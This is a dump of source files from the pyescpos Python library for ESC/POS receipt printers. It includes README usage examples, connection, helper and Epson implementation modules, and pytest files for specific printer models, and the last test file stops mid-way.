python\n\n from escpos import NetworkConnection\n from escpos.impl.epson import GenericESCPOS\n\n conn = NetworkConnection.create('10.0.0.101:9100')\n printer = GenericESCPOS(conn)\n printer.init()\n printer.text('Hello World!')\n\n\nBluetooth Example\n-----------------\n\nYou can connect to your printer through a bluetooth interface (only via RFCOMM).\nBluetooth support requires `PyBluez`_ version 0.22.\n\n.. sourcecode:: python\n\n from escpos import BluetoothConnection\n from escpos.impl.epson import GenericESCPOS\n\n # uses SPD (service port discovery) services to find which port to connect to\n conn = BluetoothConnection.create('00:01:02:03:04:05')\n printer = GenericESCPOS(conn)\n printer.init()\n printer.text('Hello World!')\n\nIf you know in which port you can connect beforehand, just pass its number after\ndevice address using a forward slash, for example ``00:01:02:03:04:05/4``, will\nconnect to port ``4`` on ``00:01:02:03:04:05`` address.\n\n\nFile Print Example\n------------------\n\nThis printer “prints” just into a file-handle. Especially on \\*nix-systems this\ncomes very handy. A common use case is when you hava parallel port printer or\nany other printer that are directly attached to the filesystem. Note that you\nmay want to stay away from using USB-to- Parallel-Adapters since they are\nextremely unreliable and produce many arbitrary errors.\n\n.. sourcecode:: python\n\n from escpos import FileConnection\n from escpos.impl.elgin import ElginI9\n\n conn = FileConnection('/dev/usb/lp1')\n printer = ElginI9(conn)\n printer.init()\n printer.text('Hello World!')\n print(printer.device.output)\n\n\nDummy Print Example\n-------------------\n\nThe Dummy-printer is mainly for testing- and debugging-purposes. It stores all\nof the “output” as raw ESC/POS in a string and returns that.\n\n.. sourcecode:: python\n\n from escpos import DummyConnection\n from escpos.impl.epson import GenericESCPOS\n\n conn = DummyConnection()\n printer = GenericESCPOS(conn)\n printer.init()\n printer.text('Hello World!')\n print(printer.device.output)\n\n\nPrinting Barcodes\n-----------------\n\nThere is a default set of parameters for printing barcodes. Each ESC/POS\nimplementation will take care of the details and try their best to print your\nbarcode as you asked.\n\n.. sourcecode:: python\n\n from escpos import barcode\n from escpos import SerialConnection\n from escpos.impl.epson import GenericESCPOS\n\n conn = SerialConnection.create('COM1:9600,8,1,N')\n printer = GenericESCPOS(conn)\n printer.init()\n printer.code128('0123456789',\n barcode_height=96, # ~12mm (~1/2\")\n barcode_width=barcode.BARCODE_DOUBLE_WIDTH,\n barcode_hri=barcode.BARCODE_HRI_BOTTOM)\n\n printer.lf()\n\n printer.ean13('4007817525074',\n barcode_height=120, # ~15mm (~9/16\"),\n barcode_width=barcode.BARCODE_NORMAL_WIDTH,\n barcode_hri=barcode.BARCODE_HRI_TOP)\n\n printer.cut()\n\nThe barcode data should be complete including check digits and any other payload\ndata required that makes that data valid for the symbology you're dealing with.\nThus, if you need to print an EAN-13 barcode, for example, you need to provide\nall thirteen digits.\n\n\nConfiguring Resilient Connections\n---------------------------------\n\nNetwork (TCP/IP) and Bluetooth (RFCOMM) connections provided by PyESCPOS both\nuse a simple `exponential backoff`_ algorithm to implement a (more) resilient\nconnection to the device. Your application or your users can configure *backoff*\nretry parameters through a well-known INI-like file format:\n\n.. sourcecode:: ini\n\n [retry]\n max_tries = 3\n delay = 3\n factor = 2\n\nWhose parameters are:\n\n* ``max_tries`` (integer ``> 0``) Number of tries before give up;\n* ``delay`` (integer ``> 0``) Delay between retries (in seconds);\n* ``factor`` (integer ``> 1``) Multiply factor in which delay will be increased\n for the next retry.\n\nNormally that file lives in ``~/.escpos/config.cfg`` but you can determine\nwhere you want to put this file. For that you must call ``config.configure``\nfunction indicating full path to the configuration file, for example:\n\n.. sourcecode:: python\n\n from escpos import config\n config.configure(filename='/path/to/config.cfg')\n\nYour application must call ``config.configure`` before importing anything else.\n\n\nMore Examples\n-------------\n\nEventually you may find more examples in the `PyESCPOS wiki`_ pages.\n\n\nDisclaimer\n==========\n\nIt is important that you read this **disclaimer**.\n\n None of the vendors cited in this project agree or endorse any of the\n patterns or implementations. Its names are used only to maintain context.\n\n..\n Sphinx Documentation: Substitutions at\n http://sphinx-doc.org/rest.html#substitutions\n Codes copied from reStructuredText Standard Definition Files at\n http://docutils.sourceforge.net/docutils/parsers/rst/include/isonum.txt\n\n.. |copy| unicode:: U+00A9 .. COPYRIGHT SIGN\n :ltrim:\n\n.. |reg| unicode:: U+00AE .. REGISTERED SIGN\n :ltrim:\n\n.. _`PyESCPOS wiki`: https://github.com/base4sistemas/pyescpos/wiki\n.. _`Epson ESCPOS FAQ`: http://content.epson.de/fileadmin/content/files/RSD/downloads/escpos.pdf\n.. _`python-escpos`: https://github.com/manpaz/python-escpos\n.. _`PySerial`: http://pyserial.sourceforge.net/\n.. _`PyBluez`: http://karulis.github.io/pybluez/\n.. _`Epson`: http://www.epson.com/\n.. _`Elgin`: http://www.elgin.com.br/\n.. _`Nitere`: http://www.nitere.com.br/\n.. _`Bematech S/A`: http://www.bematechus.com/\n.. _`Urmet Daruma`: http://daruma.com.br/\n.. _`exponential backoff`: https://en.wikipedia.org/wiki/Exponential_backoff\n" }, { "alpha_fraction": 0.6514285802841187, "alphanum_fraction": 0.6571428775787354, "avg_line_length": 23.230770111083984, "blob_id": "62158e396484142c0c7a9b5a577a3dd363bcb481", "content_id": "ebf2c334686f1cf79aae3e2d1834a9ce973eb310", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1575, "license_type": "permissive", "max_line_length": 79, "num_lines": 65, "path": "/escpos/conn/dummy.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/conn/dummy.py\n#\n# Copyright 2017 KMEE INFORMATICA LTDA\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\nclass DummyConnection(object):\n \"\"\"Dummy printer.\n\n This class is used for saving commands to a variable, for use in situations\n where there is no need to send commands to an actual printer. This includes\n generating print jobs for later use, or testing output.\n \"\"\"\n\n SETTINGS_EXAMPLE = None\n\n\n @classmethod\n def create(cls, settings):\n return cls()\n\n\n def __init__(self, *args, **kwargs):\n super(DummyConnection, self).__init__()\n self._output_list = []\n\n\n def write(self, data):\n \"\"\"Print any command sent in raw format.\n\n :param str data: Arbitrary code to be printed.\n \"\"\"\n self._output_list.append(data)\n\n\n @property\n def output(self):\n \"\"\"Get the data that was sent to this printer.\"\"\"\n return b''.join(self._output_list)\n\n\n def close(self):\n pass\n\n\n def catch(self):\n pass\n\n\n def read(self):\n pass\n" }, { "alpha_fraction": 0.6757106184959412, "alphanum_fraction": 0.6866925358772278, "avg_line_length": 28.20754623413086, "blob_id": "257bcd0ccf3113e7bc8e8b20fd443eaadb48e8f3", "content_id": "83715fb89ba4b2b0afd9d780d1258aceb2568a3b", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1548, "license_type": "permissive", "max_line_length": 82, "num_lines": 53, "path": "/escpos/feature.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/feature.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom collections import namedtuple\n\n\"\"\"A bunch of identifiers representing hardware features.\"\"\"\n\nCOLUMNS = 'columns'\nCUTTER = 'cutter'\nCASHDRAWER_PORTS = 'cashdrawer-ports'\nCASHDRAWER_AVAILABLE_PORTS = 'cashdrawer-available-ports'\nPORTABLE = 'portable'\n\n\nColumns = namedtuple('Columns', 'normal expanded condensed')\n\n\nclass FeatureAttributes(object):\n\n def __init__(self, impl):\n self._impl = impl\n\n def __getattr__(self, attr):\n if attr in self._impl.hardware_features:\n return self._impl.hardware_features[attr]\n raise AttributeError('\\'{}.feature\\' object has no attribute {!r}'.format(\n self._impl.__class__.__name__, attr))\n\n\n_SET = {\n COLUMNS: Columns(normal=48, expanded=24, condensed=64),\n CUTTER: False,\n CASHDRAWER_PORTS: True,\n CASHDRAWER_AVAILABLE_PORTS: 2,\n PORTABLE: False,\n }\n\"\"\"Default features set.\"\"\"\n" }, { "alpha_fraction": 0.6371091604232788, "alphanum_fraction": 0.6473603248596191, "avg_line_length": 27.481752395629883, "blob_id": "1a34375e642eef70d659ad953029adff479613bd", "content_id": "6faf19fe25c95210b0133f7c540622fa3d3acc8d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3902, "license_type": "permissive", "max_line_length": 79, "num_lines": 137, "path": "/escpos/helpers.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/helpers.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom __future__ import absolute_import\n\nimport inspect\nimport time\n\nfrom collections import namedtuple\nfrom operator import attrgetter\n\nfrom six.moves import zip_longest\n\nfrom .exceptions import TimeoutException\n\n\n_Model = namedtuple('_Model', 'name vendor')\n\nImplementation = namedtuple('Implementation', 'model type fqname')\n\n\ndef find_implementations(sort_by=None):\n \"\"\"\n Returns a tuple of :class:`~escpos.helpers.Implementation` objects\n containing metadata for all known implementations (subclasses of\n :class:`~escpos.impl.epson.GenericESCPOS`) with vendor and model names, the\n implementation type and its fully qualified name.\n\n This example will print all vendor and model names, sorted by vendor name:\n\n .. sourcecode::\n\n for impl in find_implementations(sort_by='model.vendor'):\n print impl.model.vendor, ':', impl.model.name\n\n :param str sort_by: Attribute name to sort the resulting list (optional).\n\n :rtype: tuple\n\n \"\"\"\n impls = [_describe_impl(t) for t in _list_impls()]\n if sort_by:\n impls.sort(key=attrgetter(sort_by))\n return tuple(impls)\n\n\nclass TimeoutHelper(object):\n\n def __init__(self, timeout=1):\n self.timeout = 1\n self.set()\n\n\n def set(self):\n self._mark = time.time()\n\n\n def check(self):\n if self.timeout > 0:\n if time.time() - self._mark > self.timeout:\n raise TimeoutException('%s seconds have passed' % self.timeout)\n return False\n\n\ndef chunks(iterable, size):\n def chunk_factory(iterable, size):\n args = [iter(iterable)] * size\n return zip_longest(*args, fillvalue=None)\n for chunk in chunk_factory(iterable, size):\n yield ''.join([e for e in chunk if e is not None])\n raise StopIteration()\n\n\ndef hexdump(data):\n def _cut(sequence, size):\n for i in range(0, len(sequence), size):\n yield sequence[i:i+size]\n _hex = lambda seq: ['{0:02x}'.format(b) for b in seq]\n _chr = lambda seq: [chr(b) if 32 <= b <= 126 else '.' for b in seq]\n raw_data = map(ord, data)\n hexpanel = [' '.join(line) for line in _cut(_hex(raw_data), 16)]\n chrpanel = [''.join(line) for line in _cut(_chr(raw_data), 16)]\n hexpanel[-1] = hexpanel[-1] + (chr(32) * (47 - len(hexpanel[-1])))\n chrpanel[-1] = chrpanel[-1] + (chr(32) * (16 - len(chrpanel[-1])))\n return '\\n'.join('%s %s' % (h, c) for h, c in zip(hexpanel, chrpanel))\n\n\ndef is_value_in(constants_group, value):\n \"\"\"\n Checks whether value can be found in the given constants group, which in\n turn, should be a Django-like choices tuple.\n \"\"\"\n for const_value, label in constants_group:\n if const_value == value:\n return True\n return False\n\n\ndef _list_impls():\n from escpos.impl.epson import GenericESCPOS\n return _impls_for(GenericESCPOS)\n\n\ndef _impls_for(t):\n impls = [t,]\n for subcls in t.__subclasses__():\n impls.extend(_impls_for(subcls))\n return impls\n\n\ndef _describe_impl(t):\n impl = Implementation(\n model=_Model(name=t.model.name, vendor=t.model.vendor),\n type=t,\n fqname=_fqname(t))\n return impl\n\n\ndef _fqname(t):\n m = inspect.getmodule(t)\n return '.'.join([m.__name__, t.__name__])\n" }, { "alpha_fraction": 0.540520966053009, "alphanum_fraction": 0.5676555633544922, "avg_line_length": 31.51764678955078, "blob_id": "5e785e29a39e6d000e66523de7cc143fb91bb3e2", "content_id": "81ef7bd24458e1bc7b3d2e384695620ed4a3e086", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13820, "license_type": "permissive", "max_line_length": 80, "num_lines": 425, "path": "/escpos/impl/epson.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/impl/epson.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport re\nimport time\n\nfrom six.moves import range\n\nfrom .. import barcode\nfrom .. import feature\nfrom ..exceptions import CashDrawerException\nfrom ..helpers import is_value_in\nfrom ..helpers import _Model\n\n\n_VENDOR = u'Seiko-Epson Corporation'\n\n\nQRCODE_ERROR_CORRECTION_MAP = {\n barcode.QRCODE_ERROR_CORRECTION_L: '\\x30', # 48d (~7%, default)\n barcode.QRCODE_ERROR_CORRECTION_M: '\\x31', # 49d (~15%)\n barcode.QRCODE_ERROR_CORRECTION_Q: '\\x32', # 50d (~25%)\n barcode.QRCODE_ERROR_CORRECTION_H: '\\x33', # 51d (~30%)\n }\n\n\nQRCODE_MODULE_SIZE_MAP = {\n barcode.QRCODE_MODULE_SIZE_4: '\\x04',\n barcode.QRCODE_MODULE_SIZE_5: '\\x05',\n barcode.QRCODE_MODULE_SIZE_6: '\\x06',\n barcode.QRCODE_MODULE_SIZE_7: '\\x07',\n barcode.QRCODE_MODULE_SIZE_8: '\\x08',\n }\n\n\ndef _get_qrcode_error_correction(**kwargs):\n return QRCODE_ERROR_CORRECTION_MAP[kwargs.get('qrcode_ecc_level',\n barcode.QRCODE_ERROR_CORRECTION_L)]\n\n\ndef _get_qrcode_module_size(**kwargs):\n return QRCODE_MODULE_SIZE_MAP[kwargs.get('qrcode_module_size',\n barcode.QRCODE_MODULE_SIZE_4)]\n\n\nclass GenericESCPOS(object):\n \"\"\"The ESC/POS base class implementation.\n\n .. todo::\n Provide default 'GS k' symbology: UPC-A.\n\n .. todo::\n Provide default 'GS k' symbology: UPC-E.\n\n .. todo::\n Provide default 'GS k' symbology: Code 39.\n\n .. todo::\n Provide default 'GS k' symbology: ITF-14.\n\n .. todo::\n Provide default 'GS k' symbology: Codabar NW-7.\n\n .. todo::\n Provide default 'GS k' symbology: Code 93.\n\n .. todo::\n Provide default 'GS k' symbology: GS1-128 (UCC/EAN-128).\n\n .. todo::\n Provide default 'GS k' symbology: GS1 DataBar Omnidirectional.\n\n .. todo::\n Provide default 'GS k' symbology: GS1 DataBar Truncated.\n\n .. todo::\n Provide default 'GS k' symbology: GS1 DataBar Limited.\n\n .. todo::\n Provide default 'GS k' symbology: GS1 DataBar Expanded.\n\n \"\"\"\n\n device = None\n \"\"\"\n The device where ESCPOS commands will be written.\n\n Indeed, it is an instance of a connection that represents a real device on\n the other end. It may be a serial RS232 connection, a bluetooth connection,\n a USB connection, a network connection, or whatever any other way we can\n ``catch`` it, ``write`` to and ``read`` from.\n \"\"\"\n\n hardware_features = {}\n \"\"\"\n A mapping of hardware features.\n \"\"\"\n\n model = _Model(name=u'Generic ESC/POS', vendor=_VENDOR)\n \"\"\"\n Basic metadata with vendor and model name.\n \"\"\"\n\n def __init__(self, device, features={}):\n super(GenericESCPOS, self).__init__()\n self._feature_attrs = feature.FeatureAttributes(self)\n self.hardware_features = feature._SET.copy()\n self.hardware_features.update(features)\n self.device = device\n self.device.catch()\n\n\n @property\n def feature(self):\n return self._feature_attrs\n\n\n def init(self):\n self.device.write('\\x1B\\x40')\n\n\n def lf(self, lines=1):\n \"\"\"\n Line feed. Issues a line feed to printer *n*-times.\n \"\"\"\n for i in range(lines):\n self.device.write('\\x0A')\n\n\n def textout(self, text):\n \"\"\"\n Write text \"as-is\".\n \"\"\"\n self.device.write(text)\n\n\n def text(self, text):\n \"\"\"\n Write text followed by a line feed.\n \"\"\"\n self.textout(text)\n self.lf()\n\n\n def text_center(self, text):\n \"\"\"\n Shortcut method for print centered text.\n \"\"\"\n self.justify_center()\n self.text(text)\n\n\n def justify_center(self):\n self.device.write('\\x1B\\x61\\x01')\n\n\n def justify_left(self):\n self.device.write('\\x1B\\x61\\x00')\n\n\n def justify_right(self):\n self.device.write('\\x1B\\x61\\x02')\n\n\n def set_text_size(self, width, height):\n if (0 <= width <= 7) and (0 <= height <= 7):\n size = 16 * width + height\n self.device.write('\\x1D\\x21' + chr(size))\n else:\n raise ValueError('Width and height should be between 0 and 7 '\n '(1x through 8x of magnification); got: '\n 'width={!r}, height={!r}'.format(width, height))\n\n\n def set_expanded(self, flag):\n param = '\\x20' if flag else '\\x00'\n self.device.write('\\x1B\\x21')\n\n\n def set_condensed(self, flag):\n param = '\\x0F' if flag else '\\x12' # SI (on), DC2 (off)\n self.device.write('\\x1B' + param)\n\n\n def set_emphasized(self, flag):\n param = '\\x01' if flag else '\\x00'\n self.device.write('\\x1B\\x45' + param)\n\n\n def ean8(self, data, **kwargs):\n \"\"\"Render given ``data`` as **JAN-8/EAN-8** barcode symbology.\"\"\"\n if not re.match(r'\\d{8}', data):\n raise ValueError('JAN-8/EAN-8 symbology requires 8 digits of data; '\n 'got {:d} digits: {!r}'.format(len(data), data))\n barcode.validate_barcode_args(**kwargs)\n return self._ean8_impl(data, **kwargs)\n\n\n def _ean8_impl(self, data, **kwargs):\n commands = barcode.gs_k_barcode(barcode.JAN8_EAN8, data, **kwargs)\n for cmd in commands:\n self.device.write(cmd)\n time.sleep(0.25) # wait for barcode to be printed\n return self.device.read()\n\n\n def ean13(self, data, **kwargs):\n \"\"\"Render given ``data`` as **JAN-13/EAN-13** barcode symbology.\"\"\"\n if not re.match(r'\\d{13}', data):\n raise ValueError('JAN-13/EAN-13 symbology requires 13 digits of '\n 'data; got {:d} digits: {!r}'.format(len(data), data))\n barcode.validate_barcode_args(**kwargs)\n return self._ean13_impl(data, **kwargs)\n\n\n def _ean13_impl(self, data, **kwargs):\n commands = barcode.gs_k_barcode(barcode.JAN13_EAN13, data, **kwargs)\n for cmd in commands:\n self.device.write(cmd)\n time.sleep(0.25) # wait for barcode to be printed\n return self.device.read()\n\n\n def code128(self, data, **kwargs):\n \"\"\"Renders given ``data`` as **Code 128** barcode symbology.\n\n :param str codeset: Optional. Keyword argument for the subtype (code\n set) to render. Defaults to :attr:`escpos.barcode.CODE128_A`.\n\n .. warning::\n\n You should draw up your data according to the subtype (code set).\n The default is **Code 128 A** and there is no way (yet) to mix code\n sets in a single barcode rendering (at least not uniformly).\n\n Implementations may simply ignore the code set.\n\n \"\"\"\n if not re.match(r'^[\\x20-\\x7F]+$', data):\n raise ValueError('Invalid Code 128 symbology. Code 128 can encode '\n 'any ASCII character ranging from 32 (20h) to 127 (7Fh); '\n 'got {!r}'.format(data))\n codeset = kwargs.pop('codeset', barcode.CODE128_A)\n barcode.validate_barcode_args(**kwargs)\n return self._code128_impl(data, codeset=codeset, **kwargs)\n\n\n def _code128_impl(self, data, **kwargs):\n codeset = kwargs.get('codeset', barcode.CODE128_A)\n if not is_value_in(barcode.CODE128_CODESETS, codeset):\n raise ValueError('Unknown Code 128 code set: {!r}'.format(codeset))\n\n encoded_data = '{{{0}{1}'.format(codeset, data) # {<codeset><data>\n commands = barcode.gs_k_barcode(barcode.CODE128, encoded_data, **kwargs)\n for cmd in commands:\n self.device.write(cmd)\n\n time.sleep(0.25) # wait for barcode to be printed\n return self.device.read()\n\n\n def qrcode(self, data, **kwargs):\n \"\"\"\n Render given ``data`` as `QRCode <http://www.qrcode.com/en/>`_.\n \"\"\"\n barcode.validate_qrcode_args(**kwargs)\n return self._qrcode_impl(data, **kwargs)\n\n\n def _qrcode_impl(self, data, **kwargs):\n num_bytes = 3 + len(data) # number of bytes after `pH`\n # compute HI,LO bytes for the number of bytes (parameters) after `pH`;\n # this is possibly the safest way, but alternatives are:\n #\n # size_H = num_bytes // 256 # (!) integer division (rounding down)\n # size_L = num_bytes % 256\n #\n # or:\n #\n # size_H, size_L = divmod(num_bytes, 256)\n #\n size_H = (num_bytes >> 8) & 0xff\n size_L = num_bytes & 0xff\n\n commands = []\n commands.append(['\\x1D\\x28\\x6B', # GS(k\n chr(size_L), chr(size_H), # pL pH\n '\\x31', # cn (49 <=> 0x31 <=> QRCode)\n '\\x50', # fn (80 <=> 0x50 <=> store symbol in memory)\n '\\x30', # m (48 <=> 0x30 <=> literal value)\n data,\n ])\n\n commands.append(['\\x1D\\x28\\x6B', # GS(k\n '\\x03\\x00', # pL pH\n '\\x31', # cn (49 <=> 0x31 <=> QRCode)\n '\\x45', # fn (69 <=> 0x45 <=> error correction)\n _get_qrcode_error_correction(**kwargs),\n ])\n\n commands.append(['\\x1D\\x28\\x6B', # GS(k\n '\\x03\\x00', # pL pH\n '\\x31', # cn (49 <=> 0x31 <=> QRCode)\n '\\x43', # fn (67 <=> 0x43 <=> module size)\n _get_qrcode_module_size(**kwargs),\n ])\n\n commands.append(['\\x1D\\x28\\x6B', # GS(k\n '\\x03\\x00', # pL pH\n '\\x31', # cn (49 <=> 0x31 <=> QRCode)\n '\\x51', # fn (81 <=> 0x51 <=> print 2D symbol)\n '\\x30', # m (48 <=> 0x30 <=> literal value)\n ])\n\n for cmd in commands:\n self.device.write(''.join(cmd))\n\n time.sleep(1) # sleeps one second for qrcode to be printed\n return self.device.read()\n\n\n def cut(self, partial=True):\n \"\"\"\n Trigger cutter to perform partial (default) or full paper cut.\n \"\"\"\n if self.hardware_features.get(feature.CUTTER, False):\n # TODO: implement hardware alternative for unavailable features\n # For example:\n #\n # self.hardware_alternatives.get('cutter-full-cut')(self)\n #\n # So, implementations or end-user-applications can replace\n # certain hardware functionalites, based on available features.\n #\n # The above mapping can replace full cuts with line feeds for\n # printer hardware that do not have an automatic paper cutter:\n #\n # self.hardware_alternatives.update({\n # # skip 7 lines if we do not have a paper cutter\n # 'cutter-full-cut': lambda impl: impl.lf(7)\n # })\n #\n param = '\\x01' if partial else '\\x00'\n self.device.write('\\x1D\\x56' + param)\n\n\n def kick_drawer(self, port=0, **kwargs):\n \"\"\"Kick drawer connected to the given port.\n\n In this implementation, cash drawers are identified according to the\n port in which they are connected. This relation between drawers and\n ports does not exists in the ESC/POS specification and it is just a\n design decision to normalize cash drawers handling. From the user\n application perspective, drawers are simply connected to port 0, 1, 2,\n and so on.\n\n If printer does not have this feature then no exception should be\n raised.\n\n :param int number: The port number to kick drawer (default is ``0``).\n\n :raises CashDrawerException: If given port does not exists.\n \"\"\"\n if self.hardware_features.get(feature.CASHDRAWER_PORTS, False):\n # if feature is available assume at least one port is available\n max_ports = self.hardware_features.get(\n feature.CASHDRAWER_AVAILABLE_PORTS, 1)\n\n if port not in range(max_ports):\n raise CashDrawerException('invalid cash drawer port: {!r} '\n '(available ports are {!r})'.format(\n port, range(max_ports)))\n\n return self._kick_drawer_impl(port=port, **kwargs)\n\n\n def _kick_drawer_impl(self, port=0, **kwargs):\n if port not in range(2):\n raise CashDrawerException(\n 'invalid cash drawer port: {!r}'.format(port))\n\n param = '\\x00' if port == 0 else '\\x01' # pulse to pin 2 or 5\n self.device.write('\\x1B\\x70' + param)\n\n\nclass TMT20(GenericESCPOS):\n \"\"\"Epson TM-T20 thermal printer.\"\"\"\n\n model = _Model(name=u'Epson TM-T20', vendor=_VENDOR)\n\n\n def __init__(self, device, features={}):\n super(TMT20, self).__init__(device)\n self.hardware_features.update({\n feature.CUTTER: True,\n feature.CASHDRAWER_PORTS: True,\n feature.CASHDRAWER_AVAILABLE_PORTS: 1,\n })\n self.hardware_features.update(features)\n\n\n def set_expanded(self, flag):\n w = 1 if flag else 0 # magnification (Nx)\n self.set_text_size(w, 0)\n\n\n def set_condensed(self, flag):\n param = '\\x01' if flag else '\\x00'\n self.device.write('\\x1B\\x21' + param)\n" }, { "alpha_fraction": 0.6963806748390198, "alphanum_fraction": 0.724530816078186, "avg_line_length": 26.127273559570312, "blob_id": "3cafbee2a32d12c9b10f08bee894adbd9a55f5b6", "content_id": "a13bc59945a402a630cd0ef291d8ed819d05d4a9", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1492, "license_type": "permissive", "max_line_length": 74, "num_lines": 55, "path": "/escpos/tests/test_unknown_cb55c.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/tests/test_unknown_cb55c.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport pytest\n\nfrom escpos.impl.unknown import CB55C\n\n\[email protected](scope='module')\ndef printer():\n return CB55C(pytest.FakeDevice())\n\n\ndef test_has_model_attr(printer):\n assert hasattr(printer, 'model')\n\n\ndef test_expanded(printer):\n printer.set_expanded(True)\n assert printer.device.write_buffer == '\\x1B\\x57\\x01'\n\n printer.set_expanded(False)\n assert printer.device.write_buffer == '\\x1B\\x57\\x00'\n\n\ndef test_condensed(printer):\n printer.set_condensed(True)\n assert printer.device.write_buffer == '\\x1B\\x21\\x01'\n\n printer.set_condensed(False)\n assert printer.device.write_buffer == '\\x1B\\x21\\x00'\n\n\ndef test_emphasized(printer):\n printer.set_emphasized(True)\n assert printer.device.write_buffer == '\\x1B\\x45'\n\n printer.set_emphasized(False)\n assert printer.device.write_buffer == '\\x1B\\x46'\n" }, { "alpha_fraction": 0.6494907140731812, "alphanum_fraction": 0.6866387128829956, "avg_line_length": 31.096153259277344, "blob_id": "3e1adc580864397f0a9c2607548e3e25e0e1e64d", "content_id": "f17b071ebb7cb593d9f63befdee6742f8ef0870a", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5007, "license_type": "permissive", "max_line_length": 76, "num_lines": 156, "path": "/escpos/tests/test_bematech.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/tests/test_bematech.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport pytest\n\nfrom escpos import feature\nfrom escpos.barcode import BARCODE_NORMAL_WIDTH\nfrom escpos.barcode import BARCODE_HRI_BOTTOM\nfrom escpos.exceptions import CashDrawerException\nfrom escpos.impl.bematech import MP4200TH\n\n# TODO: Implement tests for inherited methods so we can detect when changes\n# in the base implementation are potentially breaking the specific\n# implementation.\n#\n\[email protected](scope='module')\ndef printer():\n return MP4200TH(pytest.FakeDevice())\n\n\ndef test_has_model_attr(printer):\n assert hasattr(printer, 'model')\n\n\ndef test_init(printer):\n printer.init() # inherited from `escpos.impl.epson.GenericESCPOS`\n assert printer.device.write_buffer == '\\x1B\\x40'\n\n\ndef test_expanded(printer):\n printer.set_expanded(True)\n assert printer.device.write_buffer == '\\x1B\\x57\\x31'\n\n printer.set_expanded(False)\n assert printer.device.write_buffer == '\\x1B\\x57\\x30'\n\n\ndef test_condensed(printer):\n printer.set_condensed(True)\n assert printer.device.write_buffer == '\\x1B\\x0F'\n\n printer.set_condensed(False)\n assert printer.device.write_buffer == '\\x1B\\x48'\n\n\ndef test_emphasized(printer):\n printer.set_emphasized(True)\n assert printer.device.write_buffer == '\\x1B\\x45'\n\n printer.set_emphasized(False)\n assert printer.device.write_buffer == '\\x1B\\x46'\n\n\ndef test_cut(printer):\n printer.cut(partial=True)\n assert printer.device.write_buffer == '\\x1B\\x6D'\n\n printer.cut(partial=False)\n assert printer.device.write_buffer == '\\x1B\\x69'\n\n\ndef test_code128(printer):\n printer.code128('123EGGS')\n assert printer.device.write_buffer == '\\x1D\\x6B\\x49\\x07123EGGS'\n\n # Bematech MP-4200 TH does not support Code128 code sets;\n # keyword argument `codeset` will be ignored\n 